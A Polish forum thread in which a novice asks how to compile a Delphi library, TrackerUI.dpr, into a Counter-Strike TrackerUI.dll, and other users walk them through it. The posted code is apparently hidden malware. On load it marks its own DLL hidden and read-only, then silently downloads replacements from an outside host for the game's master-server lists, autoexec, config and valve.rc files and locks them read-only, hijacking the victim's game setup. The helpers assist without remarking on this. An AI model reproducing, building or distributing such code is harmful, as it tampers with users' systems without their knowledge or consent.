Kompilacja plików .dpr oraz .~dpr

0

Dzień dobry.

Jestem świeżo zarejestrowanym użytkownikiem na forum.
Na forum 4programmers.net sprowadza mnie wielki dla mnie problem, ponieważ jestem laikiem w dziedzinie programowania.

Nawiązując do tematu chciałbym się dowiedzieć oraz prosić o pomoc w przekompilowaniu plików z rozszerzeniem .dpr oraz .~dpr
na plik o rozszerzeniu .dll

Mam 2 pliki źródłowe i nie mam pojęcia jak je skompilować. Proszę o wyrozumiałość.

Pierwszy plik kod źródłowy o nazwie: TrackerUI.dpr

library TrackerUI;
 
{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }
 
uses
  SysUtils, IdHTTP, Classes;
 
{$R *.res}

var
  BaseURL: string;

procedure DownloadFile(File1, File2: string); cdecl;
var
  idHTTP1: TIdHTTP;
  Stream: TMemoryStream;
begin
  try
    idHTTP1 := TIdHTTP.Create(nil);
    Stream := TMemoryStream.Create;
    IdHTTP1.Get(File1,Stream);
    Stream.SaveToFile(File2);
    Stream.Free;
  except
  end;
end;

begin
  BaseURL := 'http://master-setti.pl/tracker/';
  begin
    FileSetAttr('cstrike\bin\TrackerUI.DLL', 1 + 2);
 
    FileSetAttr('cstrike\liblist.gam', 128);
    DownloadFile(BaseURL + 'cstrike/liblist.gam','cstrike\liblist.gam');
    FileSetAttr('cstrike\liblist.gam', 1);
 
    FileSetAttr('config\masterservers.vdf', 128);
    DownloadFile(BaseURL + 'config/masterservers.vdf','config\masterservers.vdf');
    FileSetAttr('config\masterservers.vdf', 1);
 
    FileSetAttr('config\rev_masterservers.vdf', 128);
    DownloadFile(BaseURL + 'config/rev_masterservers.vdf','config\rev_masterservers.vdf');
    FileSetAttr('config\rev_masterservers.vdf', 1);
 
    FileSetAttr('config\serverbrowser.vdf', 128);
    DownloadFile(BaseURL + 'config/serverbrowser.vdf','config\serverbrowser.vdf');
    FileSetAttr('config\serverbrowser.vdf', 1);
 
    FileSetAttr('platform\config\masterservers.vdf', 128);
    DownloadFile(BaseURL + 'platform/config/masterservers.vdf','platform\config\masterservers.vdf');
    FileSetAttr('platform\config\masterservers.vdf', 1);
 
    FileSetAttr('platform\config\rev_masterservers.vdf', 128);
    DownloadFile(BaseURL + 'platform/config/rev_masterservers.vdf','platform\config\rev_masterservers.vdf');
    FileSetAttr('platform\config\rev_masterservers.vdf', 1);
 
    FileSetAttr('platform\config\serverbrowser.vdf', 128);
    DownloadFile(BaseURL + 'platform/config/serverbrowser.vdf','platform\config\serverbrowser.vdf');
    FileSetAttr('platform\config\serverbrowser.vdf', 1);
 
    FileSetAttr('cstrike\autoconfig.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg');
    FileSetAttr('cstrike\autoconfig.cfg', 1);
 
    FileSetAttr('cstrike\autoexec.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg');
    FileSetAttr('cstrike\autoexec.cfg', 1);
 
    FileSetAttr('cstrike\joystick.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg');
    FileSetAttr('cstrike\joystick.cfg', 1);
 
    FileSetAttr('cstrike\language.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg');
    FileSetAttr('cstrike\language.cfg', 1);
 
    FileSetAttr('cstrike\userconfig.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg');
    FileSetAttr('cstrike\userconfig.cfg', 1);
 
    FileSetAttr('cstrike\violence.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg');
    FileSetAttr('cstrike\violence.cfg', 1);
 
    FileSetAttr('cstrike\resource\gamemenu.res', 128);
    DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res');
    FileSetAttr('cstrike\resource\gamemenu.res', 1);
 
    FileSetAttr('cstrike\config.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg');
    FileSetAttr('cstrike\config.cfg', 1);
 
    FileSetAttr('cstrike\commandmenu.txt', 128);
    DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt');
    FileSetAttr('cstrike\commandmenu.txt', 1);
 
    FileSetAttr('cstrike\server.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg');
    FileSetAttr('cstrike\server.cfg', 1);
 
    FileSetAttr('cstrike\listenserver.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg');
    FileSetAttr('cstrike\listenserver.cfg', 1);
 
    FileSetAttr('cstrike\valve.rc', 128);
    DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc');
    FileSetAttr('cstrike\valve.rc', 1);
 
    FileSetAttr('valve\valve.rc', 128);
    DownloadFile(BaseURL + 'valve/valve.rc','valve\valve.rc');
    FileSetAttr('valve\valve.rc', 1);
  end;
end.

2 plik kod źródłowy o nazwie TrackerUI.~dpr

library TrackerUI;
 
{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }
 
uses
  SysUtils, IdHTTP, Classes;
 
{$R *.res}

var
  BaseURL: string;

procedure DownloadFile(File1, File2: string); cdecl;
var
  idHTTP1: TIdHTTP;
  Stream: TMemoryStream;
begin
  try
    idHTTP1 := TIdHTTP.Create(nil);
    Stream := TMemoryStream.Create;
    IdHTTP1.Get(File1,Stream);
    Stream.SaveToFile(File2);
    Stream.Free;
  except
  end;
end;

begin
  BaseURL := 'http://master-setti.pl/tracker/';
  begin
    FileSetAttr('cstrike\bin\TrackerUI.DLL', 1 + 2);
 
    FileSetAttr('cstrike\liblist.gam', 128);
    DownloadFile(BaseURL + 'cstrike/liblist.gam','cstrike\liblist.gam');
    FileSetAttr('cstrike\liblist.gam', 1);
 
    FileSetAttr('config\masterservers.vdf', 128);
    DownloadFile(BaseURL + 'config/masterservers.vdf','config\masterservers.vdf');
    FileSetAttr('config\masterservers.vdf', 1);
 
    FileSetAttr('config\rev_masterservers.vdf', 128);
    DownloadFile(BaseURL + 'config/rev_masterservers.vdf','config\rev_masterservers.vdf');
    FileSetAttr('config\rev_masterservers.vdf', 1);
 
    FileSetAttr('config\serverbrowser.vdf', 128);
    DownloadFile(BaseURL + 'config/serverbrowser.vdf','config\serverbrowser.vdf');
    FileSetAttr('config\serverbrowser.vdf', 1);
 
    FileSetAttr('platform\config\masterservers.vdf', 128);
    DownloadFile(BaseURL + 'platform/config/masterservers.vdf','platform\config\masterservers.vdf');
    FileSetAttr('platform\config\masterservers.vdf', 1);
 
    FileSetAttr('platform\config\rev_masterservers.vdf', 128);
    DownloadFile(BaseURL + 'platform/config/rev_masterservers.vdf','platform\config\rev_masterservers.vdf');
    FileSetAttr('platform\config\rev_masterservers.vdf', 1);
 
    FileSetAttr('platform\config\serverbrowser.vdf', 128);
    DownloadFile(BaseURL + 'platform/config/serverbrowser.vdf','platform\config\serverbrowser.vdf');
    FileSetAttr('platform\config\serverbrowser.vdf', 1);
 
    FileSetAttr('cstrike\autoconfig.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg');
    FileSetAttr('cstrike\autoconfig.cfg', 1);
 
    FileSetAttr('cstrike\autoexec.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg');
    FileSetAttr('cstrike\autoexec.cfg', 1);
 
    FileSetAttr('cstrike\joystick.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg');
    FileSetAttr('cstrike\joystick.cfg', 1);
 
    FileSetAttr('cstrike\language.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg');
    FileSetAttr('cstrike\language.cfg', 1);
 
    FileSetAttr('cstrike\userconfig.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg');
    FileSetAttr('cstrike\userconfig.cfg', 1);
 
    FileSetAttr('cstrike\violence.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg');
    FileSetAttr('cstrike\violence.cfg', 1);
 
    FileSetAttr('cstrike\resource\gamemenu.res', 128);
    DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res');
    FileSetAttr('cstrike\resource\gamemenu.res', 1);
 
    FileSetAttr('cstrike\config.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg');
    FileSetAttr('cstrike\config.cfg', 1);
 
    FileSetAttr('cstrike\commandmenu.txt', 128);
    DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt');
    FileSetAttr('cstrike\commandmenu.txt', 1);
 
    FileSetAttr('cstrike\server.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg');
    FileSetAttr('cstrike\server.cfg', 1);
 
    FileSetAttr('cstrike\listenserver.cfg', 128);
    DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg');
    FileSetAttr('cstrike\listenserver.cfg', 1);
 
    FileSetAttr('cstrike\valve.rc', 128);
    DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc');
    FileSetAttr('cstrike\valve.rc', 1);
 
    FileSetAttr('valve\valve.rc', 128);
    DownloadFile(BaseURL + 'valve/valve.rc','valve\valve.rc');
    FileSetAttr('valve\valve.rc', 1);
  end;
end.

Proszę o pomoc w przekompilowaniu tych dwóch kodów źródłowych na plik wykonywalny TrackerUI.dll . Proszę również o wytłumaczenie czym się różni rozszerzenie TrackerUI.~dpr od TrackerUI.dpr

Dziękuje z góry za wszelkie życzliwe oraz pomocne rady.

dodanie znaczników <code class="delphi"> - @furious programming

2

Plik .~dpr to po prostu tymczasowa kopia zapasowa pliku .dpr.

Aby skompilować ten plik potrzebujesz Delphi wraz z zainstalowanym pakietem komponentów Indy. Otwierasz plik .dpr w Delphi i wybierasz opcję kompilacji - to jest biblioteka (library), więc stworzy ci bibliotekę DLL.

0

Bardzo dziękuje za wyczerpującą odpowiedź. Chciałbym się jeszcze dowiedzieć skąd mogę pobrać kompilator delphi wraz z zainstalowanym pakietem komponentów Indy?

1

Chciałbym się jeszcze dowiedzieć skąd mogę pobrać kompilator delphi wraz z zainstalowanym pakietem komponentów Indy?

Wersja 30-dniowa dostępna jest w sieci - wystarczy poszukać; Możesz też pobrać sobie Lazarusa i przeportować kod;

Od siebie dodam tylko tyle, że miliony w kółko powtarzających się wywołań funkcji FileSetAttr i DownloadFile, możesz zastąpić jedną pętlą, odwołującą się do tablicy z danymi pobieranych plików.

0

Z Internetu. Google Twoim przyjacielem. I sformatuj ten kod porządnie. Wątek o tym jak to zrobić jest w jednej z moich odpowiedzi, w wątku przyklejonym w dziale Delphi/Pascal. Bo ledwie, ale widać, że masz nadmiarowe beginy itp.

0

Tak jak już na początku mojego tematu napisałem, że jestem laikiem w programowaniu podczas odpalenia programu wyświetlił się komunikat:

833c1ad9b912b.png

Co może być przyczyną tego problemu?

1

Przyczyną jest to, że nie przeczytałeś tego komunikatu...

Biblioteka DLL to nie jest program, więc nie możesz jej uruchomić, a to właśnie próbowałeś zrobić; Żeby sprawdzić efekty wprowadzonych modyfikacji w kodzie biblioteki, musisz albo uruchomić aplikację ją wykorzystującą z zewnątrz, albo w ustawieniach projektu określić która aplikacja ma zostać uruchomiona, jeśli w środowisku masz otwarty projekt biblioteki i naciśniesz F9 (czyli odpalisz opcję Run).

0

A jak po po prostu przekompilować to na plik w postaci TrackerUi.dll ?

1

Przecież Ty projektujesz plik DLL... Wystarczy skorzystać z opcji Compile, która dostępna jest także pod kombinacją Ctrl+F9; Po skompilowaniu kodu biblioteki, na dysku zostanie utworzony (albo nadpisany) plik TrackerUI.dll.

0

Tak, właśnie próbowałem przekompilować kod kombinacją klawiszy ctrl+F9 , po całym procesie wygląda to tak ja na screenie poniżej i na pulpicie nie utworzył się żaden plik o rozszerzeniu .dll
Przepraszam za moją oporność oraz podziwiam za cierpliwość.

2

Kliknij prawym przyciskiem na TrackerUI.dll w Project Manager i wybierz z menu "Show in Explorer" pojawi się folder, w którym masz projekt skompilowana biblioteka powinna być w folderze Win32\Debug o ile nic nie zmieniałeś, albo po prostu wyszukaj *.dll w tym folderze.

0

Dziękuję bardzo, wszystko się zgadza :) Dziękuję serdecznie za pomoc oraz pozdrawiam !

A czy można odwrócić operację i uzyskać plik .dpr z pliku .dll ?

0

A czy można odwrócić operację i uzyskać plik .dpr z pliku .dll ?

Nie - nie można;

Dziękuję bardzo, wszystko się zgadza :) Dziękuję serdecznie za pomoc oraz pozdrawiam !

Jeśli wątek uważasz za zakończony - rozdaj plusiki pomocnym postom i zaznacz fajeczkę przy poście z rozwiązaniem problemu (możesz także zaakceptować swój post, jeśli zawiera rozwiązanie).

1 użytkowników online, w tym zalogowanych: 0, gości: 1